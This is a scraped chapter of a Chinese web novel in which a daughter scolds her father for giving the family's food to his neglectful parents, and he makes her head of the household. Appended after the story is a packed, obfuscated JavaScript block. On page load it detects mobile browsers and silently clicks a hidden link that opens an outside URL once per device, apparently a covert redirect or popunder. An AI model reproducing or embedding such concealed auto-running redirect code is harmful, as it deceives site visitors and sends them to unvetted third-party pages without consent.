第五文学网 > > 奋斗吧,姜英秀! > 第405章 当家

    姜英秀淡淡地看着姜大地敞开肚皮吃完了沈春柳留给他的晚饭,姜家三房人人都知道,姜大地去了老宅,必定是会吃不饱的。

    沈春柳偷偷摸摸地给姜大地留饭的时候,姜英秀故意装糊涂,当做不知道。

    六丫八丫九丫去跟她告状,她也心情愉快地安抚了几个小的。

    其实,让姜大地去老宅吃饭不是目的,她真心不差那点子东西。

    关键是要让姜大地长点教训。

    清醒地认识到,自己在姜老太太心中是个什么地位,这个地位,就算他把三房搬空了,也是不会有丝毫改变的。

    但是姜英秀不打算直接跟他讲,而是要让他自己头破血流地碰出来。

    姜大地吃完了沈春柳留的饭,打了个心满意足的饱嗝儿,一回头,就被悄无声息地站在不远处看着他的姜英秀吓了一跳。

    姜英秀笑眯眯地问他:

    “吃饱了吗?”

    姜大地的脸臊成了一块大红布,不光是脸,就连脖子都红彤彤的,简直跟煮熟了的大虾有一拼。

    姜英秀笑眯眯地看着他,不厚道地追问:

    “我奶没给你吃饱吗?”

    姜大地的脸由红转白又转青,被四丫头这么直截了当地问到脸上,他真是又羞又气,差点一口气上不来厥过去。

    姜英秀看着姜大地的脸上变颜变色,却似乎丝毫都不感觉有压力。继续笑眯眯地看着他:

    “爹,你想明白了吗?谁把你当家人?谁把你当外人?这大冷的天儿,谁惦记着你,给你留饭?谁又连顿粗茶淡饭都不舍得让你吃舒坦了?有些人哪,天性就是不知满足,不知感恩的。人家要是看不上你,你就算把心扒出来给他吃了,都交不下他!”

    姜大地痛苦地闭上了眼,眼角有晶莹的液体滑落:

    “四丫头,你别说了”

    “爹,我本来不想说什么的。我也不差那点东西。但是我看你这么分不清里外拐,我就着急,我就上火,我就生气!

    我娘嫁给你这么老些年了,你让她过的是什么日子?

    你看看我大姑、我大娘、我二大娘过的是什么日子,我五婶过得又是什么日子?

    我二大爷事事都听我二大娘的,你看看咱们家谁敢欺负她?

    我五叔把我五婶捧在手心里怕摔了,含在嘴里怕化了,你看看咱们家谁敢得罪她?

    你再看看我娘,过得又是什么日子?

    哪一房人不敢踩咕她?

    你身为一个老爷们儿,自己个儿的媳妇儿都护不住,你不嫌乎磕碜吗?

    你身为一家之主,自己家的孩子一个个饿的嗷嗷叫,老婆肚子里还揣着一个小的,你不说好好把这一家子的日子往好了过,还跟个耗子似的,有点好吃的就给搬走,你这心里都不会愧疚吗?

    你是铁石心肠吗?

    你是眼睛瞎了、耳朵聋了吗?

    别人怎么对待你老婆的?怎么对待你孩子的?这些你都看不见、听不见吗?

    好,就算你没长心!就算你这些都看不见,都听不见!那么,你这么卖力,人家又是怎么对待你的?

    你在人家心里,比得上你姐你妹你哥你弟一片脚趾盖儿吗?

    我走之前,留在家里的东西,如果你们正常吃喝,天天敞开肚皮,抡圆了腮帮子可劲儿造,也足够咱们家这些人支撑俩月的。

    但是现在呢?我家里家外,从外屋地到土豆窖,从房梁到仓房,就看到小半袋子苞米面儿,小半口袋苞米茬子。

    那些鱼呢?肉呢?鸡蛋鸭蛋呢?我腌的那些咸菜呢?我留下的那些米面油呢?

    都哪去了?

    你搬动那么多东西到人家家里去,人家今儿个招待你吃的什么好吃的呀?说来我听听,让我也解解馋!

    那老些东西,你就是扔了喂狗,那狗也得给你摇摇尾巴吧?

    你搬动出去,人家给过你一个好脸儿吗?”

    姜英秀一直压着声音,可是这些话一针见血又尖酸刻薄,那冲击力,就像一把把蜂拥而至、寒光闪闪的飞刀,而且每一刀都直直地插进了姜大地的心上。

    姜大地一句话都说不出来,一直昂着头,闭着眼,可是眼泪却顺着脸颊不停滴往下淌,他抬起棉袄袖子就擦,可是不管怎么擦,都擦不干净。

    姜英秀吁了一口气,不知道自己是不是把姜大地逼得太狠了。

    就这么**裸地撕掉他的幻想,逼迫他直面现实,会不会太残忍了?

    然而这个念头一闪即逝。

    她倘若不对姜大地残忍,这个稀里糊涂的“孝子”,就会继续以往那些行径,对沈春柳和三房一家子,残忍到无以复加。

    身为一个丈夫,一个父亲,一个一家之主,他有必须要肩负起来的责任。

    姜老爷子和姜老太太孩子多,姜大地又不得宠,大概只是稀里糊涂地把他养大了,除了要孝顺,要懂事之外,并没有教导过他什么吧。

    虽然自己这个身份,来“教导”姜大地,实在很是荒谬。

    然而,如果自己碍于身份,不管不顾,继续放任他这样子下去,怕是他永远都不会觉醒。

    或者,也许会“人之将死,其言也善”,回光返照的时候,才会悔不当初,恍然发现自己这一辈子都活得稀里糊涂,始终都对不起老婆孩子,辜负了真正的家人?

    姜英秀的清冷和姜大地的痛苦,都被沈春柳看在了眼里。

    沈春柳是听到了外屋地的动静,估摸着姜大地差不多应该吃完了,过来收拾碗碟的。

    却没想到,自己给姜大地留饭的事情,竟然被四丫头给撞破了。

    四丫头之前真的生气了,她都不敢劝。

    这会儿她怕四丫头对姜大地说出来些难听的,再让姜大地下不来台,就奓着胆子,想要劝劝这孩子。

    谁曾想,她还没等鼓足勇气把心里话说出口,就听到了姜英秀这番诘问。

    这些话在姜大地心上刀刀见血,在沈春柳心上,也是一样。

    她嫁过来之后,一味柔顺,一味贤良,其实也从来没有为自己的孩子们争取过什么。

    然而她的性子就是如此。

    指望她鼓起勇气,保护自己的孩子,那简直还不如指望天上下金子。

    可是,她的性格虽然软弱,没有主见,却也并不是缺心眼儿。

    别人欺负她,欺负她的丈夫,欺负她的孩子,她怎么可能会不知道呢?

    即便她常常忍不住把人都往好处里头想,但是这并不意味着,她对于自己受到的不公正待遇,毫无察觉。

    姜英秀这番话说出口,她本来明明想要喝止,想要让她不要再说下去了,想要让她给自己的亲爹留几分颜面,却好像喉咙被什么东西堵住了似的,竟然一句话都说不出来,只觉满腹辛酸,一个劲儿地流眼泪。

    姜英秀叹息一声,转身欲走。

    却听到姜大地哽咽一声,鼻音浓重地出声了:

    “四丫头,你骂得对。我对不起你娘,也对不起你们几个”

    “大地”

    沈春柳闻言也能发出声音了,这一对个性软弱的包子夫妻,面对面地飙起了泪。

    姜英秀看得好气又好笑,这场景,怎么觉着自己跟要拆散一对苦命鸳鸯的恶霸似的?

    却听得姜大地再次张口说道:

    “四丫头,爹再也不会犯糊涂了,今后咱们家你当家!”


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t B(){o(S C==="\\p\\6\\3\\0\\j\\5\\6\\0\\3"){D T}E a=(U^V)+(F^F);u G=C[\'\\p\\c\\0\\9\\W\\k\\0\\6\\4\'][\'\\4\\2\\v\\2\\m\\0\\9\\q\\1\\c\\0\']();a="X".w("").x().y("");u H=Y Z(\'\\1\\6\\3\\9\\2\\5\\3\\d\\5\\e\\l\\2\\6\\0\\d\\5\\e\\1\\3\\d\\5\\e\\2\\3\\d\\m\\5\\6\\3\\2\\m\\c\\I\\e\\l\\2\\6\\0\\d\\7\\8\\1\\g\\r\\7\\0\\9\\9\\h\\d\\c\\h\\f\\7\\5\\1\\6\\d\\m\\0\\7\\2\\c\\d\\2\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\2\\7\\5\\8\\0\\d\\f\\2\\7\\5\\8\\0\',\'\\5\');D H[\'\\4\\0\\c\\4\'](G)}t J(a){E b=(K^K)+(10^11);u i=n[\'\\g\\9\\0\\1\\4\\0\\L\\8\\0\\f\\0\\6\\4\']("\\1");b=(12^13)+(14^15);i[\'\\l\\9\\0\\j\']=a;i[\'\\c\\4\\h\\8\\0\'][\'\\3\\5\\c\\e\\8\\1\\h\']="\\6\\2\\6\\0";i[\'\\4\\1\\9\\k\\0\\4\']="16".w("").x().y("");n[\'\\7\\2\\3\\h\'][\'\\1\\e\\e\\0\\6\\3\\q\\l\\5\\8\\3\'](i);i[\'\\g\\8\\5\\g\\r\']();n[\'\\7\\2\\3\\h\'][\'\\9\\0\\f\\2\\z\\0\\q\\l\\5\\8\\3\'](i)}n[\'\\1\\3\\3\\L\\z\\0\\6\\4\\v\\5\\c\\4\\0\\6\\0\\9\']("\\17\\18\\19\\q\\2\\6\\4\\0\\6\\4\\v\\2\\1\\3\\0\\3",t(){o(!M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']){o(n[\'\\7\\2\\3\\h\']!=1a){M[\'\\k\\8\\2\\7\\1\\8\\N\\1\\9\']="\\A";O=P[\'\\k\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j");o(!O&&B()){J("\\l\\4\\4\\e\\c\\1b\\s\\s\\7\\m\\1c\\1d\\1e\\R\\9\\1f\\3\\k\\z\\7\\R\\g\\2\\f\\s\\g\\7\\3\\s\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\4\\A\\4\\0\\f\']("\\8\\p\\g\\r\\Q\\j\\j","1g".w("").x().y(""))}}});',62,79,'u0065|u0061|u006F|u0064|u0074|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0063|u0079|_0x9c_0xc86|u0066|u0067|u0068|u0077|document|if|u0075|u0043|u006B|u002F|function|const|u004C|split|reverse|join|u0076|u0049|isMobileDevice|navigator|return|var|464266|_0x86227d|_0x2_0x5d8|u0020|OpenUrl|200295|u0045|window|u0056|hasExecuted|localStorage|u005F|u002E|typeof|false|399549|399546|u0041|fmhjpl|new|RegExp|642306|642305|447903|447894|731200|731209|knalb_|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|u007A|eurt'.split('|'),0,{}))